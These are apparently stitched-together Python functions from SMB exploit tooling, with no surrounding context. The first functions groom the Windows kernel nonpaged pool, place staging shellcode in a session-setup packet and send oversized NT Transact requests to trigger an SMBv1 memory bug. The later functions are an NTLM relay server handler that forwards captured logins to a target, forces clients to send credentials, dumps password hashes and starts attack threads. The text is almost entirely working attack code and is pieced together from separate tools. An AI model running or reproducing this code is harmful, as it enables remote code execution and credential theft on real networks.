def createSessionAllocNonPaged(target, size): # The big nonpaged pool allocation is in BlockingSessionSetupAndX() function # You can see the allocation logic (even code is not the same) in WinNT4 source code # https://github.com/Safe3/WinNT4/blob/master/private/ntos/srv/smbadmin.c#L1050 till line 1071 conn = smb.SMB(target, target) _, flags2 = conn.get_flags() # FLAGS2_EXTENDED_SECURITY MUST not be set flags2 &= ~smb.SMB.FLAGS2_EXTENDED_SECURITY # if not use unicode, buffer size on target machine is doubled because converting ascii to utf16 if size >= 0xffff: flags2 &= ~smb.SMB.FLAGS2_UNICODE reqSize = size // 2 else: flags2 |= smb.SMB.FLAGS2_UNICODE reqSize = size conn.set_flags(flags2=flags2) pkt = smb.NewSMBPacket() sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX) sessionSetup['Parameters'] = SMBSessionSetupAndXCustom_Parameters() sessionSetup['Parameters'][ 'MaxBuffer'] = 61440 # can be any value greater than response size sessionSetup['Parameters']['MaxMpxCount'] = 2 # can by any value sessionSetup['Parameters']['VCNumber'] = os.getpid() sessionSetup['Parameters']['SessionKey'] = 0 sessionSetup['Parameters']['AnsiPwdLength'] = 0 sessionSetup['Parameters']['UnicodePwdLength'] = 0 sessionSetup['Parameters']['Capabilities'] = 0x80000000 # set ByteCount here sessionSetup['Data'] = pack('<H', size) + '\x00' * 20 pkt.addCommand(sessionSetup) conn.sendSMB(pkt) recvPkt = conn.recvSMB() if recvPkt.getNTStatus() == 0: print('SMB1 session setup allocate nonpaged pool success') else: print('SMB1 session setup allocate nonpaged pool failed') return conn
def send_echo_request(connection, tid, data): packet = smb.NewSMBPacket() packet['Tid'] = tid transfer_command = smb.SMBCommand(smb.SMB.SMB_COM_ECHO) transfer_command['Parameters'] = smb.SMBEcho_Parameters() transfer_command['Data'] = smb.SMBEcho_Data() transfer_command['Parameters']['EchoCount'] = 1 transfer_command['Data']['Data'] = data packet.addCommand(transfer_command) connection.sendSMB(packet) retval_packet = connection.recvSMB() if retval_packet.getNTStatus() == 0: print("echo request succeeded") else: print("bad echo request: 0x{:x}".format( retval_packet.getNTStatus()))
def create_smb_packet(self, smbReq, mid=None, pid=None, tid=None): if mid is None: mid = self.next_mid() pkt = smb.NewSMBPacket() pkt.addCommand(smbReq) pkt['Tid'] = self._default_tid if tid is None else tid pkt['Uid'] = self._uid pkt['Pid'] = self._pid if pid is None else pid pkt['Mid'] = mid flags1, flags2 = self.get_flags() pkt['Flags1'] = flags1 pkt['Flags2'] = self._pkt_flags2 if self._pkt_flags2 != 0 else flags2 if self._SignatureEnabled: pkt['Flags2'] |= smb.SMB.FLAGS2_SMB_SECURITY_SIGNATURE self.signSMB(pkt, self._SigningSessionKey, self._SigningChallengeResponse) req = str(pkt) return '\x00'*2 + pack('>H', len(req)) + req # assume length is <65536
def login_put_staging_sc(conn, staging_sc, maxBufferSize): _, flags2 = conn.get_flags() # FLAGS2_EXTENDED_SECURITY MUST not be set flags2 &= ~smb.SMB.FLAGS2_EXTENDED_SECURITY # if not use unicode, buffer size on target machine is doubled because converting ascii to utf16 flags2 |= smb.SMB.FLAGS2_UNICODE conn.set_flags(flags2=flags2) pkt = smb.NewSMBPacket() sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX) sessionSetup['Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters() sessionSetup['Parameters']['MaxBufferSize'] = maxBufferSize sessionSetup['Parameters']['MaxMpxCount'] = 2 # can by any value sessionSetup['Parameters']['VcNumber'] = 2 # any non-zero sessionSetup['Parameters']['SessionKey'] = 0 sessionSetup['Parameters'][ 'SecurityBlobLength'] = 0 # this is OEMPasswordLen field in another format. 0 for NULL session # UnicodePasswordLen field is in Reserved for extended security format. sessionSetup['Parameters'][ 'Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY | smb.SMB.CAP_USE_NT_ERRORS # allocate nonpaged pool size 0x15ff (padding 1 byte, AccountName 2 bytes, PrimaryDomain 2 bytes) # UNICODE.maxBufferSize: 0x15ff # after maxBufferSize is padding which is '\x00'*4 # so code is 'ff 15 00 00 00 00' => call [rip+0] # after padding is pointer to allocated npp and shellcode there sessionSetup['Data'] = pack('<H', 0x1604) + '\x00' * 5 + staging_sc + '\x00' * 8 pkt.addCommand(sessionSetup) conn.sendSMB(pkt) recvPkt = conn.recvSMB() if recvPkt.isValidAnswer(smb.SMB.SMB_COM_SESSION_SETUP_ANDX): print('SMB1 session setup allocate nonpaged pool success') conn.set_uid(recvPkt['Uid']) else: print('SMB1 session setup allocate nonpaged pool failed') sys.exit()
def create_alloc_session(target, size): connection = smb.SMB(target, target) _, flags = connection.get_flags() flags &= ~smb.SMB.FLAGS2_EXTENDED_SECURITY if size >= 0xffff: flags &= ~smb.SMB.FLAGS2_UNICODE request_size = size // 2 else: flags |= smb.SMB.FLAGS2_UNICODE request_size = size connection.set_flags(flags2=flags) packet = smb.NewSMBPacket() session_setup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX) session_setup[ 'Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters() session_setup['Parameters']['MaxBufferSize'] = 61440 session_setup['Parameters']['MaxMpxCount'] = 2 session_setup['Parameters']['VcNumber'] = 2 session_setup['Parameters']['SessionKey'] = 0 session_setup['Parameters']['SecurityBlobLength'] = 0 session_setup['Parameters'][ 'Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY session_setup['Data'] = struct.pack('<H', request_size) + '\x00' * 20 packet.addCommand(session_setup) connection.sendSMB(packet) retval_packet = connection.recvSMB() if retval_packet.getNTStatus() == 0: print('SMB1 session setup allocate nonpaged pool success') else: print('SMB1 session setup allocate nonpaged pool failed') return connection
def send_big_trans2(conn, tid, setup, data, param, firstDataFragmentSize, sendLastChunk=True): pkt = smb.NewSMBPacket() pkt['Tid'] = tid command = pack('<H', setup) # Use SMB_COM_NT_TRANSACT because we need to send data >65535 bytes to trigger the bug. transCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT) transCommand['Parameters'] = smb.SMBNTTransaction_Parameters() transCommand['Parameters']['MaxSetupCount'] = 1 transCommand['Parameters']['MaxParameterCount'] = len(param) transCommand['Parameters']['MaxDataCount'] = 0 transCommand['Data'] = smb.SMBTransaction2_Data() transCommand['Parameters']['Setup'] = command transCommand['Parameters']['TotalParameterCount'] = len(param) transCommand['Parameters']['TotalDataCount'] = len(data) fixedOffset = 32+3+38 + len(command) if len(param) > 0: padLen = (4 - fixedOffset % 4 ) % 4 padBytes = '\xFF' * padLen transCommand['Data']['Pad1'] = padBytes else: transCommand['Data']['Pad1'] = '' padLen = 0 transCommand['Parameters']['ParameterCount'] = len(param) transCommand['Parameters']['ParameterOffset'] = fixedOffset + padLen if len(data) > 0: pad2Len = (4 - (fixedOffset + padLen + len(param)) % 4) % 4 transCommand['Data']['Pad2'] = '\xFF' * pad2Len else: transCommand['Data']['Pad2'] = '' pad2Len = 0 transCommand['Parameters']['DataCount'] = firstDataFragmentSize transCommand['Parameters']['DataOffset'] = transCommand['Parameters']['ParameterOffset'] + len(param) + pad2Len transCommand['Data']['Trans_Parameters'] = param transCommand['Data']['Trans_Data'] = data[:firstDataFragmentSize] pkt.addCommand(transCommand) conn.sendSMB(pkt) recvPkt = conn.recvSMB() # must be success if recvPkt.getNTStatus() == 0: module.log('got good NT Trans response') else: module.log('got bad NT Trans response: 0x{:x}'.format(recvPkt.getNTStatus()), 'error') sys.exit(1) # Then, use SMB_COM_TRANSACTION2_SECONDARY for send more data i = firstDataFragmentSize while i < len(data): sendSize = min(4096, len(data) - i) if len(data) - i <= 4096: if not sendLastChunk: break send_trans2_second(conn, tid, data[i:i+sendSize], i) i += sendSize if sendLastChunk: conn.recvSMB() return i
def SmbSessionSetupAndX(self, connId, smbServer, SMBCommand, recvPacket): connData = smbServer.getConnectionData(connId, checkStatus=False) ############################################################# # SMBRelay smbData = smbServer.getConnectionData('SMBRelay', False) ############################################################# respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX) if connData['_dialects_parameters'][ 'Capabilities'] & smb.SMB.CAP_EXTENDED_SECURITY: # Extended security. Here we deal with all SPNEGO stuff respParameters = smb.SMBSessionSetupAndX_Extended_Response_Parameters( ) respData = smb.SMBSessionSetupAndX_Extended_Response_Data() sessionSetupParameters = smb.SMBSessionSetupAndX_Extended_Parameters( SMBCommand['Parameters']) sessionSetupData = smb.SMBSessionSetupAndX_Extended_Data() sessionSetupData['SecurityBlobLength'] = sessionSetupParameters[ 'SecurityBlobLength'] sessionSetupData.fromString(SMBCommand['Data']) connData['Capabilities'] = sessionSetupParameters['Capabilities'] if struct.unpack( 'B', sessionSetupData['SecurityBlob'][0])[0] != ASN1_AID: # If there no GSSAPI ID, it must be an AUTH packet blob = SPNEGO_NegTokenResp(sessionSetupData['SecurityBlob']) token = blob['ResponseToken'] else: # NEGOTIATE packet blob = SPNEGO_NegTokenInit(sessionSetupData['SecurityBlob']) token = blob['MechToken'] # Here we only handle NTLMSSP, depending on what stage of the # authentication we are, we act on it messageType = struct.unpack( '<L', token[len('NTLMSSP\x00'):len('NTLMSSP\x00') + 4])[0] if messageType == 0x01: # NEGOTIATE_MESSAGE negotiateMessage = ntlm.NTLMAuthNegotiate() negotiateMessage.fromString(token) # Let's store it in the connection data connData['NEGOTIATE_MESSAGE'] = negotiateMessage ############################################################# # SMBRelay: Ok.. So we got a NEGOTIATE_MESSAGE from a client. # Let's send it to the target server and send the answer back to the client. client = smbData[self.target]['SMBClient'] challengeMessage = self.do_ntlm_negotiate(client, token) ############################################################# respToken = SPNEGO_NegTokenResp() # accept-incomplete. We want more data respToken['NegResult'] = '\x01' respToken['SupportedMech'] = TypesMech[ 'NTLMSSP - Microsoft NTLM Security Support Provider'] respToken['ResponseToken'] = str(challengeMessage) # Setting the packet to STATUS_MORE_PROCESSING errorCode = STATUS_MORE_PROCESSING_REQUIRED # Let's set up an UID for this connection and store it # in the connection's data # Picking a fixed value # TODO: Manage more UIDs for the same session connData['Uid'] = 10 # Let's store it in the connection data connData['CHALLENGE_MESSAGE'] = challengeMessage elif messageType == 0x03: # AUTHENTICATE_MESSAGE, here we deal with authentication ############################################################# # SMBRelay: Ok, so now the have the Auth token, let's send it # back to the target system and hope for the best. client = smbData[self.target]['SMBClient'] authenticateMessage = ntlm.NTLMAuthChallengeResponse() authenticateMessage.fromString(token) if authenticateMessage['user_name'] != '': #For some attacks it is important to know the authenticated username, so we store it connData['AUTHUSER'] = authenticateMessage['user_name'] self.authUser = connData['AUTHUSER'] clientResponse, errorCode = self.do_ntlm_auth( client, sessionSetupData['SecurityBlob'], connData['CHALLENGE_MESSAGE']['challenge']) #clientResponse, errorCode = smbClient.sendAuth(sessionSetupData['SecurityBlob'],connData['CHALLENGE_MESSAGE']['challenge']) else: # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials errorCode = STATUS_ACCESS_DENIED if errorCode != STATUS_SUCCESS: # Let's return what the target returned, hope the client connects back again packet = smb.NewSMBPacket() packet[ 'Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS packet[ 'Flags2'] = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY packet['Command'] = recvPacket['Command'] packet['Pid'] = recvPacket['Pid'] packet['Tid'] = recvPacket['Tid'] packet['Mid'] = recvPacket['Mid'] packet['Uid'] = recvPacket['Uid'] packet['Data'] = '\x00\x00\x00' packet['ErrorCode'] = errorCode >> 16 packet['ErrorClass'] = errorCode & 0xff # Reset the UID if self.target[0] == 'SMB': client.setUid(0) logging.error( "Authenticating against %s as %s\%s FAILED" % (self.target, authenticateMessage['domain_name'], authenticateMessage['user_name'])) #Log this target as processed for this client self.targetprocessor.log_target(connData['ClientIP'], self.target) #del (smbData[self.target]) return None, [packet], errorCode else: # We have a session, create a thread and do whatever we want logging.info( "Authenticating against %s as %s\%s SUCCEED" % (self.target, authenticateMessage['domain_name'], authenticateMessage['user_name'])) #Log this target as processed for this client self.targetprocessor.log_target(connData['ClientIP'], self.target) ntlm_hash_data = outputToJohnFormat( connData['CHALLENGE_MESSAGE']['challenge'], authenticateMessage['user_name'], authenticateMessage['domain_name'], authenticateMessage['lanman'], authenticateMessage['ntlm']) logging.info(ntlm_hash_data['hash_string']) if self.server.getJTRdumpPath() != '': writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], self.server.getJTRdumpPath()) del (smbData[self.target]) self.do_attack(client) # Now continue with the server ############################################################# respToken = SPNEGO_NegTokenResp() # accept-completed respToken['NegResult'] = '\x00' # Status SUCCESS errorCode = STATUS_SUCCESS # Let's store it in the connection data connData['AUTHENTICATE_MESSAGE'] = authenticateMessage else: raise Exception("Unknown NTLMSSP MessageType %d" % messageType) respParameters['SecurityBlobLength'] = len(respToken) respData['SecurityBlobLength'] = respParameters[ 'SecurityBlobLength'] respData['SecurityBlob'] = respToken.getData() else: # Process Standard Security #TODO: Fix this for other protocols than SMB [!] respParameters = smb.SMBSessionSetupAndXResponse_Parameters() respData = smb.SMBSessionSetupAndXResponse_Data() sessionSetupParameters = smb.SMBSessionSetupAndX_Parameters( SMBCommand['Parameters']) sessionSetupData = smb.SMBSessionSetupAndX_Data() sessionSetupData['AnsiPwdLength'] = sessionSetupParameters[ 'AnsiPwdLength'] sessionSetupData['UnicodePwdLength'] = sessionSetupParameters[ 'UnicodePwdLength'] sessionSetupData.fromString(SMBCommand['Data']) connData['Capabilities'] = sessionSetupParameters['Capabilities'] ############################################################# # SMBRelay smbClient = smbData[self.target]['SMBClient'] if sessionSetupData['Account'] != '': #TODO: Fix this for other protocols than SMB [!] clientResponse, errorCode = smbClient.login_standard( sessionSetupData['Account'], sessionSetupData['PrimaryDomain'], sessionSetupData['AnsiPwd'], sessionSetupData['UnicodePwd']) else: # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials errorCode = STATUS_ACCESS_DENIED if errorCode != STATUS_SUCCESS: # Let's return what the target returned, hope the client connects back again packet = smb.NewSMBPacket() packet[ 'Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS packet[ 'Flags2'] = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY packet['Command'] = recvPacket['Command'] packet['Pid'] = recvPacket['Pid'] packet['Tid'] = recvPacket['Tid'] packet['Mid'] = recvPacket['Mid'] packet['Uid'] = recvPacket['Uid'] packet['Data'] = '\x00\x00\x00' packet['ErrorCode'] = errorCode >> 16 packet['ErrorClass'] = errorCode & 0xff # Reset the UID smbClient.setUid(0) #Log this target as processed for this client self.targetprocessor.log_target(connData['ClientIP'], self.target) return None, [packet], errorCode # Now continue with the server else: # We have a session, create a thread and do whatever we want ntlm_hash_data = outputToJohnFormat( '', sessionSetupData['Account'], sessionSetupData['PrimaryDomain'], sessionSetupData['AnsiPwd'], sessionSetupData['UnicodePwd']) logging.info(ntlm_hash_data['hash_string']) if self.server.getJTRdumpPath() != '': writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], self.server.getJTRdumpPath()) #TODO: Fix this for other protocols than SMB [!] clientThread = self.config.attacks['SMB'](self.config, smbClient, self.config.exeFile, self.config.command) clientThread.start() #Log this target as processed for this client self.targetprocessor.log_target(connData['ClientIP'], self.target) # Remove the target server from our connection list, the work is done del (smbData[self.target]) # Now continue with the server ############################################################# # Do the verification here, for just now we grant access # TODO: Manage more UIDs for the same session errorCode = STATUS_SUCCESS connData['Uid'] = 10 respParameters['Action'] = 0 respData['NativeOS'] = smbServer.getServerOS() respData['NativeLanMan'] = smbServer.getServerOS() respSMBCommand['Parameters'] = respParameters respSMBCommand['Data'] = respData # From now on, the client can ask for other commands connData['Authenticated'] = True ############################################################# # SMBRelay smbServer.setConnectionData('SMBRelay', smbData) ############################################################# smbServer.setConnectionData(connId, connData) return [respSMBCommand], None, errorCode
def smbComTreeConnectAndX(self, connId, smbServer, SMBCommand, recvPacket): connData = smbServer.getConnectionData(connId) resp = smb.NewSMBPacket() resp['Flags1'] = smb.SMB.FLAGS1_REPLY resp[ 'Flags2'] = smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_LONG_NAMES | recvPacket[ 'Flags2'] & smb.SMB.FLAGS2_UNICODE resp['Tid'] = recvPacket['Tid'] resp['Mid'] = recvPacket['Mid'] resp['Pid'] = connData['Pid'] respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_TREE_CONNECT_ANDX) respParameters = smb.SMBTreeConnectAndXResponse_Parameters() respData = smb.SMBTreeConnectAndXResponse_Data() treeConnectAndXParameters = smb.SMBTreeConnectAndX_Parameters( SMBCommand['Parameters']) if treeConnectAndXParameters['Flags'] & 0x8: respParameters = smb.SMBTreeConnectAndXExtendedResponse_Parameters( ) treeConnectAndXData = smb.SMBTreeConnectAndX_Data( flags=recvPacket['Flags2']) treeConnectAndXData['_PasswordLength'] = treeConnectAndXParameters[ 'PasswordLength'] treeConnectAndXData.fromString(SMBCommand['Data']) errorCode = STATUS_SUCCESS UNCOrShare = decodeSMBString(recvPacket['Flags2'], treeConnectAndXData['Path']) # Is this a UNC? if ntpath.ismount(UNCOrShare): path = UNCOrShare.split('\\')[3] else: path = ntpath.basename(UNCOrShare) # We won't search for the share.. all of them exist :P smbServer.log("TreeConnectAndX request for %s" % path, logging.INFO) #share = searchShare(connId, path, smbServer) share = {} # Simple way to generate a Tid if len(connData['ConnectedShares']) == 0: tid = 1 else: tid = connData['ConnectedShares'].keys()[-1] + 1 connData['ConnectedShares'][tid] = share connData['ConnectedShares'][tid]['path'] = '/' connData['ConnectedShares'][tid]['shareName'] = path resp['Tid'] = tid #smbServer.log("Connecting Share(%d:%s)" % (tid,path)) respParameters['OptionalSupport'] = smb.SMB.SMB_SUPPORT_SEARCH_BITS if path == 'IPC$': respData['Service'] = 'IPC' else: respData['Service'] = path respData['PadLen'] = 0 respData['NativeFileSystem'] = encodeSMBString(recvPacket['Flags2'], 'NTFS') respSMBCommand['Parameters'] = respParameters respSMBCommand['Data'] = respData resp['Uid'] = connData['Uid'] resp.addCommand(respSMBCommand) smbServer.setConnectionData(connId, connData) return None, [resp], errorCode